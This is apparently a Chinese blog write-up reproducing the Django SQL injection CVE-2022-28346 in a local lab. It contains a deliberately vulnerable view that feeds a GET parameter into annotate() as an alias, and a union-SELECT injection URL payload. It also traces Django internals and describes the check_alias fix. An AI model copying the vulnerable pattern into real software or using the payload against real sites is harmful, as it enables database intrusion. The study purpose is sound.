天天看點

Django SQL注入漏洞 CVE-2022-28346

作者:合天網安實驗室

漏洞簡介

Django 在2022年釋出的安全更新,修複了在 QuerySet 的 annotate(), aggregate(), extra() 等函數中存在的 SQL 注入漏洞。

影響版本

2.2<= Django Django <2.2.28

3.2<= Django Django <3.2.13

4.0<= Django Django <4.0.4

需要使用了 annotate 或者 aggregate 或 extra 方法

環境搭建

搭建特定版本的 django 項目

利用 pycharm 建立一個 python 項目

Django SQL注入漏洞 CVE-2022-28346

建立完成項目後在 Settings 中找到 Project: CVE202228346 對應的 Python Interpreter

Django SQL注入漏洞 CVE-2022-28346

添加存在問題的 Django 版本

Django SQL注入漏洞 CVE-2022-28346

在 Terminal 中執行指令,建立 django 項目

django-admin startproject CVE202228346

Django SQL注入漏洞 CVE-2022-28346

配置啟動設定

Django SQL注入漏洞 CVE-2022-28346
Django SQL注入漏洞 CVE-2022-28346

運作後就啟動了最簡單的 django 項目

Django SQL注入漏洞 CVE-2022-28346
Django SQL注入漏洞 CVE-2022-28346

編寫配置漏洞代碼

折騰來折騰去,出現了很多問題,一度想要放棄說直接采用 docker ,但是在不斷的試錯下,最終還是編寫成功

因為對 python 的 django 不太熟悉,是以其中可能更多的是比較偏向于基礎的操作

進入到項目目錄下建立指令 建立第一個應用

Django SQL注入漏洞 CVE-2022-28346

在 settings.py 中添加配置

Django SQL注入漏洞 CVE-2022-28346

在 urls.py 中添加 對應的 url,urls.py 相當于路由解析器,将路由解析到對應的 views.py 中對應的函數上

Django SQL注入漏洞 CVE-2022-28346
urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/',views.index),
    path('demo/',views.users),
    path('initialize/',views.loadexampledata)
]           

models.py 是建立表結構的時候使用,通過類的定義,可以建立一個表

Django SQL注入漏洞 CVE-2022-28346
from django.db import models

# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name           

views.py 主要定義了對應路由所響應的函數

Django SQL注入漏洞 CVE-2022-28346
from django.db.models import Count
from django.http import HttpResponse
from django.shortcuts import render
from .models import User

# Create your views here.
def index(request):
    return HttpResponse('hello world')

def users(request):
    field = request.GET.get('field', 'name')
    user_amount = User.objects.annotate(**{field: Count("name")})
    html = ""
    for u in user_amount:
        html += "<h3>Amoount of users: {0}</h3>".format(u)
    return HttpResponse(html)

def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")           

三個函數分别是 helloword 函數,往資料庫中加參數,以及查詢資料庫中的字段

編寫好代碼後,需要對資料庫執行初始化操作

python manage.py makemigrations
python manage.py migrate           

漏洞複現

先通路 initialize 為資料庫中添加資訊

構造 payload

http://127.0.0.1:8000/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --           
Django SQL注入漏洞 CVE-2022-28346

漏洞分析

發現一個問題,在加上斷點調試以後,每次運作輸出的結果跟不加斷點運作的結果存在很大的差異,結果完全不同。不斷嘗試之後發現是因為在某些地方加上斷點之後,在調試器中檢視變量和狀态可能會影響程式的執行速度和記憶體使用情況,為了友善的輸出某些位置的變量,采用 print 的方法結合斷點調試。

Django SQL注入漏洞 CVE-2022-28346

通過 get 傳入的參數 field

CVE202228346.demo.views.users

Django SQL注入漏洞 CVE-2022-28346

此處的**{field: Count("name")} 用來表示拆分字典

跟進 annotate 對傳入參數的處理

django.db.models.query.QuerySet.annotate

Django SQL注入漏洞 CVE-2022-28346

繼續将參數傳入到 _annotate 進行處理

django.db.models.query.QuerySet._annotate

Django SQL注入漏洞 CVE-2022-28346

在将 kwargs 的值 update 到 annotations 後,調用 add_annotation 進行處理

django.db.models.sql.query.Query.add_annotation

Django SQL注入漏洞 CVE-2022-28346

add_annotation 也是漏洞存在的關鍵位置,因為修複漏洞的關鍵位置也在此處

調用 resolve_expression 解析表達式

django.db.models.aggregates.Aggregate.resolve_expression

Django SQL注入漏洞 CVE-2022-28346

django.db.models.expressions.Func.resolve_expression

Django SQL注入漏洞 CVE-2022-28346

django.db.models.expressions.F.resolve_expression

Django SQL注入漏洞 CVE-2022-28346

django.db.models.sql.query.Query.resolve_ref

Django SQL注入漏洞 CVE-2022-28346

最後我們可以看到 clone 對應的值 以及執行的 SQL 語句

Django SQL注入漏洞 CVE-2022-28346

整個漏洞分析下來,仍然有很多不太清楚的地方,可能再分析幾個關于 Django 的漏洞會好一些

漏洞修複

Django SQL注入漏洞 CVE-2022-28346

在 add_annotation 添加了 check_alias 來對傳入的參數進行校驗